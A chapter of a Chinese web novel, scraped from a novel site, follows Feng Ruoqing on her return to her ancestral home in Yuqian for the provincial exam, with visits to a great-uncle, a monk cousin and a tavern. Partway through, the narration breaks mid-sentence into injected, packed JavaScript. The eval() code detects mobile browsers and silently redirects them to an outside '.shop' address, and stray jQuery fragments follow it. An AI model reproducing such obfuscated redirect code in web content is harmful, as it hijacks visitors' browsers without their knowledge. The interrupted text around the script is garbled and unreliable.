文趣网 > 都市小说 > 良方尽 > 18. 科考 归乡于黔
    于黔府地处莱国东南,自古便是富庶繁华的水乡地界。封家祖上只能追溯三代,封继儒与其父亲封罡都是进士及第,也算是清贵人家。封家人丁不旺,封罡只有封继儒,而封继儒便只有封决云一个女儿而已。

    封家在于黔府的祖宅依旧在,封家祖上有一只旁支,也就是封罡的大伯封瑜那一支依旧生活在于黔府,也是人口稀少,封瑜仅有一子,名叫封楚玉,今年四十有五,已然出家为僧,没有后嗣。

    赵恪就是将封若卿的户籍,上在封楚玉家谱中,称其为出家前的遗孤。

    封若卿曾听父亲说过,自己的曾祖父封冯子本是于黔府街边讨食的乞丐,吃过世间百味苦,未尝人情一点甜。

    因为其讲义气懂人情,结交了一帮乞丐兄弟。他们熟识河道、码头各处地头人脉,有本钱后便开始置办货运木船,做起内河货物贩运,运送布匹、粮食、海盐、山货的小买卖。后来封冯子发了财,娶了妻,立了宅,生下了大儿子封瑜和小儿子封罡,在于黔府经营着几间典当铺子过活,还算富裕。

    封瑜在经史文章上不通,在原籍经营家业。封罡却年少博通经史,喜爱读书诗赋,考中进士后便在京城安家,生下封继儒,这才有了京城甜水巷封家。

    封若卿坐在马车内,想起这些旧事,不禁感叹起来。不知伯公家现在如何……不知,他们见到我,会如何想。不过五日,便到了于黔府地界。

    此处与京城不尽相同,封若卿在马车内掀开帘子,一路欣赏——这是一座被山林草木、河海、鲜花包围的城市,商业发达,热闹非凡,比京城少了些许“规矩”。

    江伯:“主上,到封家了。”

    封若卿整顿衣裳,春沁扶着她下了车。眼前便是封家了,这座宅院临水而建,规模不大,没有奢华的雕梁画栋,只有朴实的精细木刻,一看就是年代久远的宅子,自带沉稳之气。大门高悬三块横匾。居中是一块黑底鎏金的木匾,上书“父子进士”;门右侧悬挂御赐匾额“儒林世泽”;左边一块质地朴素,刻着四字“贾而好儒”。

    门口坐着一个小厮在打盹,江伯让内侍上前喊醒这门童,小厮见门口突然来了这么多车马,又见这群人中间站着一位娉婷秀雅的小姐,便猜到是传说的那位封楚玉“遗孤”。

    小厮:“封小姐!老爷知道您约莫今日抵达,一路辛苦了,我进去通报老爷!”

    不一会,小厮搀着一位发须尽白的老人出了门,老人拄着拐杖,看起来得有六十多了,颤颤巍巍地伸出了手,喊道:“决云~”

    封若卿听到这个名字,瞬间红了眼眶,双手紧紧握住了封瑜的手,喊道“伯公。”

    封瑜看着年少的封若卿,不禁流下了热泪。封若卿见他如此动容,只得劝慰道:“伯公,我们先进屋吧。莫要伤心,一切都过去了,决云……长大了。”

    封若卿搀扶着伯公进屋,封家内宅空旷寂静,只有零星两个仆人在扫地。不一会,走到厅堂,厅堂内挂着一些字画,落款多是封罡与封继儒,封若卿见到父亲落款,不免觉得内心悸动。

    伯公:“既然回乡了,秋闱之后,便留下来住到明年会试再走!”

    封若卿笑道:“秋闱还没结果呢,哪里想到会试那么遥远。”

    “你父亲、你祖父,全是进士,你也会是!不像我们这一支,是不会读书的。只能做些买卖过活。”

    “伯公,莫要谦逊,不知堂伯在哪家寺庙修行?”

    封瑜叹了口气,冷静地说道:“别管他了,他向来有想法得很。你先安顿下来,我已经让他们给你收拾了屋子。先好好感受下自己的家乡风土,四处逛逛、也不枉回家一趟。明日,我还想带你去看铺子呢,封家就剩下你了,以后这些铺子,还得留给你。”

    “是,伯公。”

    封若卿让江伯将带来的东西一一放入封家府库,给江伯安排了屋子,带来的两个内侍一一安顿好。封若卿与春沁一同住在封家偏殿,寝殿内不同于封宅的其他地方那般冷清,粉红的精致床幔,上挂各式荷包,梳妆台摆着发饰、书架上摆满了书籍、无一处不体现出温馨来,一看就是精心装扮过的闺房。

    封若卿觉得心口沉闷,对春沁说道:“春沁,你说我堂伯为什么要出家?家中尚有老父,这不合礼法。”

    春沁与春芳打小就在宫内长大,本是赵恪心腹,特地选来服侍封若卿的,与封若卿其实一样,哪里懂得这些,只得答道:

    “主上,我听闻,寺庙油水也很大呢。京城的法园寺,就是一个富贵之乡!和尚们都可有钱啦!”

    “比开当铺子还赚钱?”

    “可能吧。不过,主上的堂伯出家,堂伯母怎么办?似乎今日并未见到堂伯母和他们的孩子呢。”

    “是很奇怪。”

    “按理来说,明日我应该去拜访拜访这位堂伯。”

    封若卿点点头,道:“陛下常夸你心思细腻,我听你的。”春沁笑道:“主上,可别折煞奴婢了。”封若卿呵呵笑了起来。

    第二日,封若卿带着江伯、春沁,三人只一辆马车,趁早驶向了金峰寺。此寺坐落于黔府西北郊外金峰山,便称金峰寺,是莱国三大国寺之一,也可谓举国闻名。马车驶出城,四下便是一片“漠漠水田飞白鹭”之景,正值梅雨时节,清晨细雨绵绵、空气清爽,令人心旷神怡。

    马车停在山脚,三人只得步行上山。封若卿从未步行过山路,一路上山,歇息了好几次才抵达。江伯来到客堂,说明来意后,主持便带着他们去见封楚玉——法号:普吉。

    封若卿终于见到封楚玉,他一袭麻布僧衣,连佛珠都不带,只是一衣一鞋而已。主持走后,封若卿跪拜行礼,道:“堂伯,我是封继儒之女,封决云。”

    封楚玉见到封若卿那一刻,就猜出了她的身份,躬身将她扶起,道:“施主客气了。你我本无区别,何必行礼。”

    封若卿看着他已然是僧人模样,便道:“普吉大师,此行,是为尽孝,如有打搅,还请恕罪。”

    封楚玉微微一笑,道:“施主莫要自扰,我已无心世俗,只在金峰寺内替你祈福吧。”

    “多谢普吉大师。”

    封若卿见封楚玉无心闲聊,便就此告别。封楚玉见封若卿离去的背影,默默念叨着:“如果没有当年那件事,莲儿应该这么大了……”

    今日,封瑜还要带她去看铺子,封若卿便让江伯照旧回封府。

    封家铺面仅剩下五家,分别坐落在不同街道,每间铺子都有专门的掌柜负责。封若卿并不懂得经商,所以封瑜与她交流时,难免有些话不对题。封瑜便语重心长地说道:

    “决云,你记住,你如今得圣上恩宠,无所谓这祖宅、这几间铺子。但孩子,你要记住,君恩莫测。来日,你并不知道他给你的究竟是什么。封家家业,才是你最应该守护的东西,知道了吗?伯公希望你可以快乐,可以有退路,有底气。于黔府封家,是你永远的退路。”

    从未有人这样对自己说过这样的话,封若卿感慨万千,只得答应:“伯公,我会牢记的。”

    封家的事情全部办妥后,封若卿便得闲在黔府闹市逛逛。封若卿与春沁二人对江南各种物件十分好奇,一路上买了不少东西,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811169|210834||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    如摩睺罗、拨浪鼓、竹蜻蜓、投壶小件等。

    突然,路旁一当街作画的商贩喊道:“小姐止步,我见你生得如此清丽脱俗,愿免费为你作画一幅,还请小姐如我所愿!”封若卿看了看他的小摊,挂着的画,人物山水花鸟无一不包,画的人物也十分精细生动。

    “多谢老板,我可以付银子,怎么好让你白忙活。”封若卿说罢,便示意春沁给银子。老板收到银两后,喜笑颜开,道:“今日必定让小姐满意!不负小姐倾城之貌!”

    说罢,封若卿坐在街边凳子上,老板聚精会神地描画着。一个时辰过去,老板终于画完,感叹道:“小姐此等容貌,加上小人此等技术,此画必将留于后世。”

    封若卿瞧着画中人,微微一笑,道:“多谢。”

    拿到画后,三人继续游玩。不一会,来到一座酒楼前,叫做月渡水阁楼,看匾之际,被在门口揽客的小厮注意到,小厮便开始揽客,道:“本店乃于黔最大、菜品最全的酒楼,逛累了进来尝尝吧!今日有猜谜游戏哦!”

    封若卿听说有游戏可以玩,便带着江伯、春沁一同进入。江伯本想点个僻静厢房,不想正是秋闱之际,许多赶秋闱的学子都涌进于黔待考,酒楼厢房竟然全部满了。

    封若卿倒无所谓,随便挑了个中堂位置坐了下来。三人点了些江南特色菜,不一会,店小二便端着菜上桌,不想端的太多,放在桌上时,倾洒了些,店小二连忙道歉:“各位客官真是不好意思,我本是晚间登记账目的,今日太忙,被喊来上菜,手生得很,真是抱歉。”

    春沁道:“这碗太湖莼菜汤倾洒了,麻烦小二再做一碗来吧。”

    店小二犹豫了起来,道:“我不是小二,我是账房做账的。姑娘,这碗汤撒的不多,能不能……不要重做,不然今天的工钱……”

    封若卿见他身形单薄,便道:“既然如此,那便将就吃吧,不换了。”

    这人连忙道谢,又见封若卿气质清雅,年龄尚小,从未在于黔府内见过,便问道:“姑娘可是来参加今年秋闱的秀才?”

    封若卿道:“我不是秀才,但确是来参加秋闱的。”

    这人好奇了起来,道:“没有秀才身份,如何参加秋闱。”

    春沁道:“我家姑娘是国子监监生,这次只是回原籍乡试,并不需要秀才身份。”

    这位账房先生立马睁大了眼睛,道:“国子监!!天呐,我见姑娘气质不凡,果真是仙人!”

    封若卿他们笑了起来,一时不知道如何作答。这位账房先生却越发打开了话匣子,又道:“我是秀才,我也要参加今年秋闱。”

    封若卿:“我方才还猜,先生有文气,应该是个学子。”

    “在下孟哲!敢问姑娘大名?家住何处?”

    “在下封若卿,家在落虹街封府。”

    孟哲恍然大悟道:“原来你就是那位封家大少爷的私生女啊!”

    封若卿语塞。

    孟哲又道:“你是如何知道自己亲生父亲是封楚玉的?长这么大了,竟还能找回原家,真不容易!不过,既然在京城生活过,还读了国子监,一下又要返回原籍,落差也蛮大的。”

    封若卿道:“能回乡看看,也是我的心愿,何来落差。”

    孟哲:“不过,你回来也好。封家少爷,哎……命苦。如今你回来了,他又出家了。”

    春沁见这人懂得蛮多,便问道:“封家少爷为何出家?”

    孟哲:“你们还不知道?!封家一场大火烧死了封楚玉的娘亲、妻子还有五岁的女儿!!据说是他们家下人刻意纵火!”